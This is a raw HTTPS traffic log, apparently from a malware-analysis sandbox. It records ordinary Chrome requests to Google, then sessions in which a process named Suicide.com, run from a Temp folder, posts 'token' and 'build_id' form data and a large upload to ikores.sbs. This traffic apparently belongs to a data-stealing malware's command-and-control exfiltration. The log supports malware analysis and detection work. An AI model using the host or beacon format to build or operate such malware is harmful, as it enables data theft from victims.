2024-12-06 08:42:19 UTC	1266	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 08:42:19 GMT Pragma: no-cache Expires: -1 Cache-Control: no-cache, must-revalidate Content-Type: text/javascript; charset=UTF-8 Strict-Transport-Security: max-age=31536000 Content-Security-Policy: object-src 'none';base-uri 'self';script-src 'nonce-DoMzpKYTKTRePk_MhkbegQ' 'strict-dynamic' 'report-sample' 'unsafe-eval' 'unsafe-inline' https: http:;report-uri https://csp.withgoogle.com/csp/gws/cdt1 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/cdt1"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-06 08:42:19 UTC	124	IN	Data Raw: 64 32 34 0d 0a 29 5d 7d 27 0a 5b 22 22 2c 5b 22 67 65 72 76 6f 6e 74 61 20 64 61 76 69 73 22 2c 22 6d 6f 63 68 61 20 6d 6f 75 73 73 65 20 70 61 6e 74 6f 6e 65 20 63 6f 6c 6f 72 22 2c 22 63 68 72 69 73 74 6d 61 73 20 6d 75 73 69 63 20 63 68 72 69 73 74 6d 61 73 20 73 6f 6e 67 73 22 2c 22 73 6e 6f 77 20 73 74 6f 72 6d 20 77 65 61 74 68 65 72 20 66 6f 72 65 63 61 73 74 22 Data Ascii: d24)]}'["",["gervonta davis","mocha mousse pantone color","christmas music christmas songs","snow storm weather forecast"
2024-12-06 08:42:19 UTC	1390	IN	Data Raw: 2c 22 6d 69 63 72 6f 73 6f 66 74 20 77 69 6e 64 6f 77 73 20 31 31 22 2c 22 77 72 61 6e 67 6c 65 72 20 6e 66 72 20 32 30 32 34 22 2c 22 70 61 6e 64 61 20 65 78 70 72 65 73 73 20 70 61 6e 64 61 20 68 6f 6f 64 69 65 22 2c 22 68 61 72 72 79 20 70 6f 74 74 65 72 20 73 65 76 65 72 75 73 20 73 6e 61 70 65 20 61 63 74 6f 72 22 5d 2c 5b 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 2c 22 22 5d 2c 5b 5d 2c 7b 22 67 6f 6f 67 6c 65 3a 63 6c 69 65 6e 74 64 61 74 61 22 3a 7b 22 62 70 63 22 3a 66 61 6c 73 65 2c 22 74 6c 77 22 3a 66 61 6c 73 65 7d 2c 22 67 6f 6f 67 6c 65 3a 67 72 6f 75 70 73 69 6e 66 6f 22 3a 22 43 68 67 49 6b 6b 34 53 45 77 6f 52 56 48 4a 6c 62 6d 52 70 62 6d 63 67 63 32 56 68 63 6d 4e 6f 5a 58 4d 5c 75 30 30 33 64 22 2c 22 67 6f 6f 67 6c Data Ascii: ,"microsoft windows 11","wrangler nfr 2024","panda express panda hoodie","harry potter severus snape actor"],["","","","","","","",""],[],{"google:clientdata":{"bpc":false,"tlw":false},"google:groupsinfo":"ChgIkk4SEwoRVHJlbmRpbmcgc2VhcmNoZXM\u003d","googl
2024-12-06 08:42:19 UTC	1390	IN	Data Raw: 52 63 31 42 70 55 6e 4a 4f 61 57 6c 6b 65 57 74 55 61 30 55 33 4d 47 74 4d 63 33 56 51 54 45 64 58 4e 44 67 32 61 6a 5a 77 4d 6c 70 31 53 6d 49 79 59 54 52 6e 5a 32 35 72 61 47 35 69 5a 58 4a 52 65 45 64 52 52 46 42 56 52 55 78 36 62 6b 70 51 62 46 64 4d 57 48 4e 71 55 45 70 6a 55 58 42 51 4d 33 4e 4f 64 6e 56 49 5a 6c 4d 7a 54 56 52 33 53 33 45 31 4e 58 64 59 51 58 6c 55 4d 44 52 78 62 45 39 32 54 30 64 75 4e 48 51 7a 62 32 56 31 5a 6d 6c 77 63 6e 46 4d 52 33 4d 79 62 58 63 79 61 58 6c 34 61 44 46 6d 64 54 4e 4d 54 58 41 76 61 56 56 4e 55 55 4e 45 55 79 39 4f 4d 69 38 78 64 57 46 52 62 57 46 53 53 6c 5a 4b 4e 6b 31 31 54 31 42 52 5a 31 55 31 4c 30 56 55 55 55 5a 32 63 6c 64 35 61 33 52 54 61 6c 4d 79 4e 6d 34 34 54 6b 4e 4f 65 47 6f 34 4f 45 52 36 65 47 Data Ascii: Rc1BpUnJOaWlkeWtUa0U3MGtMc3VQTEdXNDg2ajZwMlp1SmIyYTRnZ25raG5iZXJReEdRRFBVRUx6bkpQbFdMWHNqUEpjUXBQM3NOdnVIZlMzTVR3S3E1NXdYQXlUMDRxbE92T0duNHQzb2V1ZmlwcnFMR3MybXcyaXl4aDFmdTNMTXAvaVVNUUNEUy9OMi8xdWFRbWFSSlZKNk11T1BRZ1U1L0VUUUZ2cld5a3RTalMyNm44TkNOeGo4OER6eG
2024-12-06 08:42:19 UTC	467	IN	Data Raw: 57 56 4b 65 6d 6f 30 64 46 5a 51 4d 58 70 6a 4d 46 52 4c 62 33 6c 78 51 32 39 36 65 54 64 5a 64 31 6c 51 56 47 6c 54 4d 44 68 30 53 33 4e 32 55 45 73 77 62 46 56 54 52 57 74 7a 65 58 6c 33 52 30 46 4b 61 44 68 44 61 6d 39 77 42 6e 41 48 22 2c 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 2c 7b 22 7a 6c 22 3a 31 30 30 30 32 7d 5d 2c 22 67 6f 6f 67 6c 65 3a 73 75 67 67 65 73 74 72 65 6c 65 76 61 6e 63 65 22 3a 5b 31 32 35 37 2c 31 32 35 36 2c 31 32 35 35 2c 31 32 35 34 2c 31 32 35 33 2c 31 32 35 32 2c 31 32 35 31 2c 31 32 35 30 5d 2c 22 67 Data Ascii: WVKemo0dFZQMXpjMFRLb3lxQ296eTdZd1lQVGlTMDh0S3N2UEswbFVTRWtzeXl3R0FKaDhDam9wBnAH","zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002},{"zl":10002}],"google:suggestrelevance":[1257,1256,1255,1254,1253,1252,1251,1250],"g
2024-12-06 08:42:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.4	49838	172.217.21.36	443	7600	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 08:42:19 UTC	510	OUT	GET /async/newtab_ogb?hl=en-US&async=fixed:0 HTTP/1.1 Host: www.google.com Connection: keep-alive X-Client-Data: CKq1yQEIi7bJAQiktskBCKmdygEIoOHKAQiSocsBCJz+zAEIhaDNAQjcvc0BCLnKzQEIotHNAQiK080BCJ7WzQEIp9jNAQj5wNQVGPbJzQEYutLNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-06 08:42:19 UTC	1018	IN	HTTP/1.1 200 OK Version: 702228742 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-Prefers-Color-Scheme Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Fri, 06 Dec 2024 08:42:19 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-06 08:42:19 UTC	372	IN	Data Raw: 31 63 63 35 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 6c 61 6e 67 75 61 67 65 5f 63 6f 64 65 22 3a 22 65 6e 2d 55 53 22 2c 22 6f 67 62 22 3a 7b 22 68 74 6d 6c 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 68 74 6d 6c 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 5c 75 30 30 33 63 68 65 61 64 65 72 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 45 61 20 67 62 5f 32 64 20 67 62 5f 51 65 20 67 62 5f 71 64 5c 22 20 69 64 5c 75 30 30 33 64 5c 22 67 62 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 61 6e 6e 65 72 5c 22 20 73 74 79 6c 65 5c 75 30 30 33 64 5c 22 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 5c 22 5c 75 30 30 33 65 Data Ascii: 1cc5)]}'{"update":{"language_code":"en-US","ogb":{"html":{"private_do_not_access_or_else_safe_html_wrapped_value":"\u003cheader class\u003d\"gb_Ea gb_2d gb_Qe gb_qd\" id\u003d\"gb\" role\u003d\"banner\" style\u003d\"background-color:transparent\"\u003e
2024-12-06 08:42:19 UTC	1390	IN	Data Raw: 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 72 64 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 4a 63 20 67 62 5f 51 5c 22 20 61 72 69 61 2d 65 78 70 61 6e 64 65 64 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 61 72 69 61 2d 6c 61 62 65 6c 5c 75 30 30 33 64 5c 22 4d 61 69 6e 20 6d 65 6e 75 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 62 75 74 74 6f 6e 5c 22 20 74 61 62 69 6e 64 65 78 5c 75 30 30 33 64 5c 22 30 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 76 67 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 76 69 65 77 62 6f 78 5c 75 30 30 33 64 5c 22 30 20 30 20 32 34 20 32 34 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 Data Ascii: class\u003d\"gb_wd gb_rd\"\u003e\u003cdiv class\u003d\"gb_Jc gb_Q\" aria-expanded\u003d\"false\" aria-label\u003d\"Main menu\" role\u003d\"button\" tabindex\u003d\"0\"\u003e\u003csvg focusable\u003d\"false\" viewbox\u003d\"0 0 24 24\"\u003e\u003cpath d\u0
2024-12-06 08:42:19 UTC	1390	IN	Data Raw: 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 77 64 20 67 62 5f 38 63 20 67 62 5f 39 63 5c 22 5c 75 30 30 33 65 5c 75 30 30 33 63 73 70 61 6e 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 75 64 5c 22 20 61 72 69 61 2d 6c 65 76 65 6c 5c 75 30 30 33 64 5c 22 31 5c 22 20 72 6f 6c 65 5c 75 30 30 33 64 5c 22 68 65 61 64 69 6e 67 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 73 70 61 6e 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 61 64 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 5c 2f 64 69 76 5c 75 30 30 33 65 5c 75 30 30 33 63 64 69 76 20 63 6c 61 73 73 5c 75 30 30 33 64 Data Ascii: 003cdiv class\u003d\"gb_wd gb_8c gb_9c\"\u003e\u003cspan class\u003d\"gb_ud\" aria-level\u003d\"1\" role\u003d\"heading\"\u003e \u003c\/span\u003e\u003cdiv class\u003d\"gb_ad\"\u003e \u003c\/div\u003e\u003c\/div\u003e\u003c\/div\u003e\u003cdiv class\u003d
2024-12-06 08:42:19 UTC	1390	IN	Data Raw: 73 73 5c 75 30 30 33 64 5c 22 67 62 5f 44 5c 22 20 66 6f 63 75 73 61 62 6c 65 5c 75 30 30 33 64 5c 22 66 61 6c 73 65 5c 22 20 68 65 69 67 68 74 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 20 76 69 65 77 42 6f 78 5c 75 30 30 33 64 5c 22 30 20 2d 39 36 30 20 39 36 30 20 39 36 30 5c 22 20 77 69 64 74 68 5c 75 30 30 33 64 5c 22 32 34 70 78 5c 22 5c 75 30 30 33 65 20 5c 75 30 30 33 63 70 61 74 68 20 64 5c 75 30 30 33 64 5c 22 4d 32 30 39 2d 31 32 30 71 2d 34 32 20 30 2d 37 30 2e 35 2d 32 38 2e 35 54 31 31 30 2d 32 31 37 71 30 2d 31 34 20 33 2d 32 35 2e 35 74 39 2d 32 31 2e 35 6c 32 32 38 2d 33 34 31 71 31 30 2d 31 34 20 31 35 2d 33 31 74 35 2d 33 34 76 2d 31 31 30 68 2d 32 30 71 2d 31 33 20 30 2d 32 31 2e 35 2d 38 2e 35 54 33 32 30 2d 38 31 30 71 30 2d 31 33 20 Data Ascii: ss\u003d\"gb_D\" focusable\u003d\"false\" height\u003d\"24px\" viewBox\u003d\"0 -960 960 960\" width\u003d\"24px\"\u003e \u003cpath d\u003d\"M209-120q-42 0-70.5-28.5T110-217q0-14 3-25.5t9-21.5l228-341q10-14 15-31t5-34v-110h-20q-13 0-21.5-8.5T320-810q0-13
2024-12-06 08:42:19 UTC	1390	IN	Data Raw: 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 36 2c 36 63 30 2c 31 2e 31 20 30 2e 39 2c 32 20 32 2c 32 73 32 2c 2d 30 2e 39 20 32 2c 2d 32 20 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 7a 4d 31 32 2c 38 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 31 34 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c 2d 32 73 2d 30 2e 39 2c 2d 32 20 2d 32 2c 2d 32 20 2d 32 2c 30 2e 39 20 2d 32 2c 32 20 30 2e 39 2c 32 20 32 2c 32 7a 4d 31 38 2c 32 30 63 31 2e 31 2c 30 20 32 2c 2d 30 2e 39 20 32 2c Data Ascii: 1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM16,6c0,1.1 0.9,2 2,2s2,-0.9 2,-2 -0.9,-2 -2,-2 -2,0.9 -2,2zM12,8c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,14c1.1,0 2,-0.9 2,-2s-0.9,-2 -2,-2 -2,0.9 -2,2 0.9,2 2,2zM18,20c1.1,0 2,-0.9 2,
2024-12-06 08:42:19 UTC	1390	IN	Data Raw: 65 6e 75 2d 63 6f 6e 74 65 6e 74 22 2c 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 62 61 72 5f 68 65 69 67 68 74 22 3a 36 30 2c 22 65 78 70 65 72 69 6d 65 6e 74 5f 69 64 22 3a 5b 33 37 30 30 33 33 32 2c 33 37 30 30 39 34 39 2c 33 37 30 31 33 38 34 2c 31 30 32 31 31 38 39 33 39 5d 2c 22 69 73 5f 62 61 63 6b 75 70 5f 62 61 72 22 3a 66 61 6c 73 65 7d 2c 22 70 61 67 65 5f 68 6f 6f 6b 73 22 3a 7b 22 61 66 74 65 72 5f 62 61 72 5f 73 63 72 69 70 74 22 3a 7b 22 70 72 69 76 61 74 65 5f 64 6f 5f 6e 6f 74 5f 61 63 63 65 73 73 5f 6f 72 5f 65 6c 73 65 5f 73 61 66 65 5f 73 63 72 69 70 74 5f 77 72 61 70 70 65 64 5f 76 61 6c 75 65 22 3a 22 74 68 69 73 2e 67 62 61 72 5f 5c 75 30 30 33 64 74 68 69 73 2e 67 62 61 72 5f 7c 7c 7b 7d 3b 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 Data Ascii: enu-content","metadata":{"bar_height":60,"experiment_id":[3700332,3700949,3701384,102118939],"is_backup_bar":false},"page_hooks":{"after_bar_script":{"private_do_not_access_or_else_safe_script_wrapped_value":"this.gbar_\u003dthis.gbar_\|\|{};(function(_){va
2024-12-06 08:42:19 UTC	51	IN	Data Raw: 20 63 5c 75 30 30 33 64 41 72 72 61 79 28 62 29 3b 66 6f 72 28 6c 65 74 20 64 5c 75 30 30 33 64 30 3b 64 5c 75 30 30 33 63 62 3b 64 2b 2b 29 63 5b 0d 0a Data Ascii: c\u003dArray(b);for(let d\u003d0;d\u003cb;d++)c[
2024-12-06 08:42:19 UTC	291	IN	Data Raw: 31 31 63 0d 0a 64 5d 5c 75 30 30 33 64 61 5b 64 5d 3b 72 65 74 75 72 6e 20 63 7d 72 65 74 75 72 6e 5b 5d 7d 3b 49 64 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 6e 65 77 20 5f 2e 48 64 28 62 5c 75 30 30 33 64 5c 75 30 30 33 65 62 2e 73 75 62 73 74 72 28 30 2c 61 2e 6c 65 6e 67 74 68 2b 31 29 2e 74 6f 4c 6f 77 65 72 43 61 73 65 28 29 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 75 30 30 33 64 61 2b 5c 22 3a 5c 22 29 7d 3b 5f 2e 4a 64 5c 75 30 30 33 64 67 6c 6f 62 61 6c 54 68 69 73 2e 74 72 75 73 74 65 64 54 79 70 65 73 3b 5f 2e 4b 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 69 7d 7d Data Ascii: 11cd]\u003da[d];return c}return[]};Id\u003dfunction(a){return new _.Hd(b\u003d\u003eb.substr(0,a.length+1).toLowerCase()\u003d\u003d\u003da+\":\")};_.Jd\u003dglobalThis.trustedTypes;_.Kd\u003dclass{constructor(a){this.i\u003da}toString(){return this.i}}
2024-12-06 08:42:19 UTC	1390	IN	Data Raw: 38 30 30 30 0d 0a 64 23 7a 43 6c 6f 73 75 72 65 7a 5c 22 29 3b 5f 2e 48 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 68 5c 75 30 30 33 64 61 7d 7d 3b 5f 2e 4d 64 5c 75 30 30 33 64 5b 49 64 28 5c 22 64 61 74 61 5c 22 29 2c 49 64 28 5c 22 68 74 74 70 5c 22 29 2c 49 64 28 5c 22 68 74 74 70 73 5c 22 29 2c 49 64 28 5c 22 6d 61 69 6c 74 6f 5c 22 29 2c 49 64 28 5c 22 66 74 70 5c 22 29 2c 6e 65 77 20 5f 2e 48 64 28 61 5c 75 30 30 33 64 5c 75 30 30 33 65 2f 5e 5b 5e 3a 5d 2a 28 5b 2f 3f 23 5d 7c 24 29 2f 2e 74 65 73 74 28 61 29 29 5d 3b 5f 2e 4e 64 5c 75 30 30 33 64 63 6c 61 73 73 7b 63 6f 6e 73 74 72 75 63 74 6f 72 28 61 29 7b 74 68 69 73 2e 69 5c 75 30 30 33 64 61 7d 74 6f 53 74 72 69 6e 67 28 29 7b 72 65 Data Ascii: 8000d#zClosurez\");_.Hd\u003dclass{constructor(a){this.ih\u003da}};_.Md\u003d[Id(\"data\"),Id(\"http\"),Id(\"https\"),Id(\"mailto\"),Id(\"ftp\"),new _.Hd(a\u003d\u003e/^[^:]*([/?#]\|$)/.test(a))];_.Nd\u003dclass{constructor(a){this.i\u003da}toString(){re
2024-12-06 08:42:19 UTC	1390	IN	Data Raw: 33 64 6e 75 6c 6c 3f 76 6f 69 64 20 30 3a 64 2e 63 61 6c 6c 28 63 2c 60 24 7b 61 7d 5b 6e 6f 6e 63 65 5d 60 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 6e 75 6c 6c 3f 5c 22 5c 22 3a 62 2e 6e 6f 6e 63 65 7c 7c 62 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 5c 22 6e 6f 6e 63 65 5c 22 29 7c 7c 5c 22 5c 22 7d 3b 5c 6e 5f 2e 62 65 5c 75 30 30 33 64 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 5c 75 30 30 33 64 5f 2e 50 61 28 61 29 3b 72 65 74 75 72 6e 20 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 61 72 72 61 79 5c 22 7c 7c 62 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6f 62 6a 65 63 74 5c 22 5c 75 30 30 32 36 5c 75 30 30 32 36 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 5c 75 30 30 33 64 5c 75 30 30 33 64 5c 22 6e 75 6d 62 65 72 5c Data Ascii: 3dnull?void 0:d.call(c,`${a}[nonce]`);return b\u003d\u003dnull?\"\":b.nonce\|\|b.getAttribute(\"nonce\")\|\|\"\"};\n_.be\u003dfunction(a){var b\u003d_.Pa(a);return b\u003d\u003d\"array\"\|\|b\u003d\u003d\"object\"\u0026\u0026typeof a.length\u003d\u003d\"number\

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.4	49839	172.217.21.36	443	7600	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-06 08:42:19 UTC	353	OUT	GET /async/newtab_promos HTTP/1.1 Host: www.google.com Connection: keep-alive Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-06 08:42:19 UTC	933	IN	HTTP/1.1 200 OK Version: 702228742 Content-Type: application/json; charset=UTF-8 X-Content-Type-Options: nosniff Cross-Origin-Opener-Policy: same-origin-allow-popups; report-to="gws" Report-To: {"group":"gws","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gws/none"}]} Accept-CH: Sec-CH-UA-Form-Factors Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-Full-Version Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-WoW64 Permissions-Policy: unload=() Content-Disposition: attachment; filename="f.txt" Date: Fri, 06 Dec 2024 08:42:19 GMT Server: gws X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Accept-Ranges: none Vary: Accept-Encoding Connection: close Transfer-Encoding: chunked
2024-12-06 08:42:19 UTC	35	IN	Data Raw: 31 64 0d 0a 29 5d 7d 27 0a 7b 22 75 70 64 61 74 65 22 3a 7b 22 70 72 6f 6d 6f 73 22 3a 7b 7d 7d 7d 0d 0a Data Ascii: 1d)]}'{"update":{"promos":{}}}
2024-12-06 08:42:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.4	49859	5.75.212.196	443	7804	C:\Users\user\AppData\Local\Temp\402438\Suicide.com

Timestamp	Bytes transferred	Direction	Data
2024-12-06 08:42:23 UTC	317	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----NGVAAIE3W4EU37YMYCB1 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_8) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6 Host: ikores.sbs Content-Length: 505 Connection: Keep-Alive Cache-Control: no-cache
2024-12-06 08:42:23 UTC	505	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 4e 47 56 41 41 49 45 33 57 34 45 55 33 37 59 4d 59 43 42 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 74 6f 6b 65 6e 22 0d 0a 0d 0a 65 66 37 30 65 64 36 30 39 34 36 34 32 35 35 62 66 66 33 30 66 66 65 31 63 37 64 64 65 31 32 35 0d 0a 2d 2d 2d 2d 2d 2d 4e 47 56 41 41 49 45 33 57 34 45 55 33 37 59 4d 59 43 42 31 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 5f 69 64 22 0d 0a 0d 0a 35 37 65 39 30 34 38 64 35 33 62 66 36 66 34 63 34 35 37 32 39 32 34 35 65 34 66 37 35 62 30 64 0d 0a 2d 2d 2d 2d 2d 2d 4e 47 56 41 41 49 45 33 57 34 45 55 33 37 59 4d 59 43 42 31 0d 0a 43 6f 6e 74 Data Ascii: ------NGVAAIE3W4EU37YMYCB1Content-Disposition: form-data; name="token"ef70ed609464255bff30ffe1c7dde125------NGVAAIE3W4EU37YMYCB1Content-Disposition: form-data; name="build_id"57e9048d53bf6f4c45729245e4f75b0d------NGVAAIE3W4EU37YMYCB1Cont
2024-12-06 08:42:24 UTC	158	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 06 Dec 2024 08:42:23 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close
2024-12-06 08:42:24 UTC	12	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a 30 0d 0a 0d 0a Data Ascii: 2ok0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.4	49866	5.75.212.196	443	7804	C:\Users\user\AppData\Local\Temp\402438\Suicide.com

Timestamp	Bytes transferred	Direction	Data
2024-12-06 08:42:24 UTC	320	OUT	POST / HTTP/1.1 Content-Type: multipart/form-data; boundary=----I5P8GL68GLN7YMY58900 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_8) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.6 Safari/605.1.15 Ddg/17.6 Host: ikores.sbs Content-Length: 213453 Connection: Keep-Alive Cache-Control: no-cache
